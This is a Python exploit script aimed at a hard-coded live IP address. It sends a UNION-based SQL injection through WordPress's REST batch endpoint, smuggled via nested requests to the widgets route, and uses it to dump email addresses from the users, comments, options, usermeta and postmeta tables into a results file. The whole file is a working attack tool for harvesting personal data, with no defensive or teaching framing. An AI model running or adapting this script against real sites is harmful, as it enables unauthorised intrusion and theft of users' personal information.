#!/usr/bin/env python3
import html as html_mod
import json
import re
import secrets
import ssl
import urllib.request
import urllib.parse

target = "http://34.206.62.229"

ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE

opener = urllib.request.build_opener(urllib.request.HTTPSHandler(context=ctx))
opener.addheaders = [('User-Agent', 'Mozilla/5.0'), ('Accept', 'application/json')]

def union_read(sql_expr):
    tok = secrets.token_hex(5)
    mark = "0x" + tok.encode().hex()
    
    def hex_str(s):
        return "0x" + s.encode().hex() if s else "''"
    
    row = ",".join([
        "1", "1", hex_str("2020-01-01 00:00:00"), hex_str("2020-01-01 00:00:00"),
        f"CONCAT({mark},IFNULL(({sql_expr}),0x2d),{mark})", "0x78", "''", 
        hex_str("publish"), hex_str("closed"), hex_str("closed"), "''",
        hex_str("x"), "''", "''", hex_str("2020-01-01 00:00:00"), 
        hex_str("2020-01-01 00:00:00"), "''", "0", "''", "0", hex_str("post"), "''", "0"
    ])
    
    sqli = f"1111111100000000) AND 1=0 UNION ALL SELECT {row}-- -"
    
    inner = [
        {"method": "GET", "path": "http://:"},
        {"method": "GET", "path": "/wp/v2/widgets?" + urllib.parse.urlencode({
            "author_exclude": sqli, "per_page": 500, "page": 1,
            "orderby": "none", "context": "view"
        })},
        {"method": "GET", "path": "/wp/v2/posts"},
    ]
    
    envelope = {"requests": [
        {"method": "POST", "path": "http://:"},
        {"method": "POST", "path": "/wp/v2/posts", "body": {"requests": inner}},
        {"method": "POST", "path": "/batch/v1"},
    ]}
    
    body = json.dumps(envelope).encode()
    req = urllib.request.Request(f"{target}/?rest_route=/batch/v1", data=body, 
                                  headers={'Content-Type': 'application/json'}, method='POST')
    try:
        with opener.open(req, timeout=30) as resp:
            raw = resp.read()
    except Exception as e:
        raw = e.read() if hasattr(e, 'read') else b""
    
    pat = re.compile(re.escape(tok) + r"(.*?)" + re.escape(tok), re.S)
    try:
        data = json.loads(raw)
        def walk(obj):
            if isinstance(obj, dict):
                for v in obj.values(): yield from walk(v)
            elif isinstance(obj, list):
                for v in obj: yield from walk(v)
            elif isinstance(obj, str): yield obj
        haystacks = list(walk(data))
    except:
        haystacks = [raw.decode("utf-8", "replace")]
    
    for s in haystacks:
        m = pat.search(s)
        if m:
            inner = re.sub(r"<[^>]+>", "", m.group(1))
            return html_mod.unescape(inner).strip()
    return None

emails = set()

# 1. wp_users
print("[*] Dumping emails from wp_users...")
for i in range(100):
    result = union_read(f"SELECT user_email FROM wp_users LIMIT 1 OFFSET {i}")
    if not result or result == '-':
        break
    emails.add(result)
    print(f"  {result}")

# 2. wp_comments
print("\n[*] Dumping emails from wp_comments...")
result = union_read("SELECT GROUP_CONCAT(DISTINCT comment_author_email SEPARATOR '|') FROM wp_comments WHERE comment_author_email != ''")
if result and result != '-':
    for e in result.split('|'):
        if '@' in e:
            emails.add(e)
            print(f"  {e}")

# 3. wp_options (admin_email, etc)
print("\n[*] Dumping emails from wp_options...")
for opt in ['admin_email', 'new_admin_email', 'woocommerce_email_from_address', 'woocommerce_stock_email_recipient']:
    result = union_read(f"SELECT option_value FROM wp_options WHERE option_name='{opt}'")
    if result and result != '-' and '@' in result:
        emails.add(result)
        print(f"  {result}")

# 4. Search wp_options for email patterns
print("\n[*] Searching wp_options for emails...")
result = union_read("""
    SELECT GROUP_CONCAT(option_value SEPARATOR '|||') 
    FROM wp_options 
    WHERE option_value LIKE '%@%.%' 
    AND option_name NOT LIKE '%transient%'
    AND LENGTH(option_value) < 200
    LIMIT 50
""")
if result:
    found = re.findall(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}', result)
    for e in found:
        emails.add(e)

# 5. wp_usermeta
print("\n[*] Dumping emails from wp_usermeta...")
result = union_read("""
    SELECT GROUP_CONCAT(meta_value SEPARATOR '|') 
    FROM wp_usermeta 
    WHERE meta_value LIKE '%@%' AND meta_value LIKE '%.%'
    AND LENGTH(meta_value) < 100
""")
if result:
    found = re.findall(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}', result)
    for e in found:
        emails.add(e)

# 6. wp_postmeta
print("\n[*] Dumping emails from wp_postmeta...")
result = union_read("""
    SELECT GROUP_CONCAT(DISTINCT meta_value SEPARATOR '|') 
    FROM wp_postmeta 
    WHERE meta_value REGEXP '[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\\.[a-zA-Z]{2,}'
    AND LENGTH(meta_value) < 100
    LIMIT 100
""")
if result:
    found = re.findall(r'[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}', result)
    for e in found:
        emails.add(e)

# Clean and save
print(f"\n[+] Total unique emails: {len(emails)}")
with open('Results/Emails.txt', 'a') as f:
    for e in sorted(emails):
        f.write(e + '\n')
        print(f"  {e}")

print(f"\n[+] Saved to Results/Emails.txt")

